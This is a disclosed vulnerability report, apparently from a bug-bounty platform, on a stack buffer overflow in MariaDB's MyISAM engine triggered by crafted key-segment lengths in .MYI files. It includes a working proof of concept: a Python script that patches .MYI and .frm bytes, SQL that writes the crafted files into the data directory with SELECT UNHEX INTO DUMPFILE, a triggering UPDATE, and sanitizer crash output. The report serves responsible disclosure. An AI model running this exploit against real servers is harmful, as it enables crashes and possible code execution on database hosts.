HexBrain

MariaDB · Report #3771147

Stack Buffer Overflow via Crafted keyseg->start/ keyseg->length in .MYI File (MariaDB MyISAM)

Validstatus
11upvotes
15 Sept 2026disclosed

How it was found

Description:

A stack buffer overflow exists in MariaDB's MyISAM storage engine. mi_update() declares a fixed-size stack buffer old_key[HA_MAX_KEY_BUFF] (1208 bytes) and passes it to _mi_make_key(), which copies keyseg->length bytes from record + keyseg->start into this buffer. Both fields are read directly from the .MYI file by mi_keyseg_read() without validation. The only existing check (share->base.max_key_length <= HA_MAX_KEY_BUFF) uses a separate header field never cross-checked against individual keyseg values, so it is trivially bypassed.

The entire attack can be delivered over a normal SQL connection; no separate filesystem or OS access is required. A user holding the FILE privilege writes the malicious .MYI (and on MariaDB 5.5.27 or later a matching .frm, due to the check_definition() consistency check from BUG#25908/BUG#13555854) directly into @@datadir with SELECT UNHEX(…) INTO DUMPFILE, issues FLUSH TABLES, and triggers the overflow with a single UPDATE. The .MYD content can be supplied by an ordinary INSERT. Secondary vectors that bypass the FILE requirement include untrusted backup restore and shared hosting with datadir write access.

The vulnerable code in storage/myisam/mi_open.c lines 1209-1218:

uchar *mi_keyseg_read(uchar *ptr, HA_KEYSEG *keyseg)
{
   keyseg->length = mi_uint2korr(ptr);  ptr +=2;  // uint16 from .MYI, no bounds check
   // ...
}

The overflow in storage/myisam/mi_search.c lines 985-999:

    else
      length=keyseg->length;  // fixed-length path: unchecked value up to 65535
    memmove((uchar*) key, (uchar*) from, (size_t) length);  // overflow into t_buff[1208]

The same overflow via _mi_make_key() in storage/myisam/mi_key.c (the path reached from mi_update()):

    size_t length = keyseg->length;           // from .MYI, attacker-set
    pos = (uchar*) record + keyseg->start;    // from .MYI, attacker-set
    memcpy((uchar*) key, pos, char_length);   // unbounded vs. caller's stack frame

The stack buffer declaration in storage/myisam/mi_update.c lines 28, 111:

  uchar old_key[HA_MAX_KEY_BUFF];  // 1208 bytes on stack
  uint old_length=_mi_make_key(info,i,old_key,oldrec,pos);  // copies keyseg->length bytes

Reproduction Steps:

  1. Create a legitimate MyISAM table with a large VARBINARY column and key prefix:
CREATE TABLE evil1 (c VARBINARY(3000) NOT NULL, KEY(c(1000))) ENGINE=MyISAM;
INSERT INTO evil1 VALUES (REPEAT('A', 3000));
FLUSH TABLES;
  1. Patch the .MYI and .frm files to set keyseg->length to a value exceeding HA_MAX_KEY_BUFF (1208):
import struct

MYI_PATH = "/var/lib/mysql/<database>/evil1.MYI"
FRM_PATH = "/var/lib/mysql/<database>/evil1.frm"
TARGET_LENGTH = 1500  # Must exceed HA_MAX_KEY_BUFF (1208)

# --- Patch .MYI: set keyseg->length to TARGET_LENGTH ---
with open(MYI_PATH, "rb") as f:
    myi = bytearray(f.read())

base_pos = struct.unpack_from('>H', myi, 12)[0]
keydef_start = base_pos + 100   # base_info_length = 100
keyseg_start = keydef_start + 12  # MI_KEYDEF_SIZE = 12

struct.pack_into('>H', myi, keyseg_start + 8, TARGET_LENGTH)

# Clear HA_VAR_LENGTH_PART flag so the fixed-length memcpy path is taken
struct.pack_into('>H', myi, keyseg_start + 6, 0x0000)

with open(MYI_PATH, "wb") as f:
    f.write(myi)

# --- Patch .frm: set key_part->length to match ---
with open(FRM_PATH, "rb") as f:
    frm = bytearray(f.read())

key_offset = struct.unpack_from('<H', frm, 6)[0]
key_part_length_offset = key_offset + 6 + 8 + 7
struct.pack_into('<H', frm, key_part_length_offset, TARGET_LENGTH)
struct.pack_into('<H', frm, key_offset + 6 + 2, TARGET_LENGTH)

with open(FRM_PATH, "wb") as f:
    f.write(frm)

Alternatively, write the patched files over the wire (no local access needed):

SET @p = CONCAT(@@datadir, 'test/evil1.MYI');
SET @s = CONCAT('SELECT UNHEX(''', '<MYI hex>', ''') INTO DUMPFILE ''', @p, '''');
PREPARE s FROM @s; EXECUTE s; DEALLOCATE PREPARE s;
-- repeat for evil1.frm
FLUSH TABLES;
  1. Trigger the overflow by executing any DML that touches the key:
UPDATE evil1 SET c = REPEAT('B', 3000) WHERE c = REPEAT('A', 3000);
  1. Expected result — server crashes with a stack-buffer-overflow:
==16047==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x77d9303f5d18
WRITE of size 292 at 0x77d9303f5d18 thread T15
    #0 memmove (sanitizer_common_interceptors_memintrinsics.inc:98)
    #1 _mi_get_binary_pack_key /storage/myisam/mi_search.c:999
    #2 _mi_seq_search /storage/myisam/mi_search.c:264
    #3 _mi_search_pos /storage/myisam/mi_range.c:241

Impact

The overflow content is fully attacker-controlled row data. At minimum, any DML touching the corrupted table's key reliably crashes the server (DoS). On targets without stack canaries or ASLR, this yields direct code execution as the mysql user. Hardened targets remain exploitable with auxiliary info-leak primitives.

RCE as mysql grants access to all databases and bypasses all SQL-level access controls.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original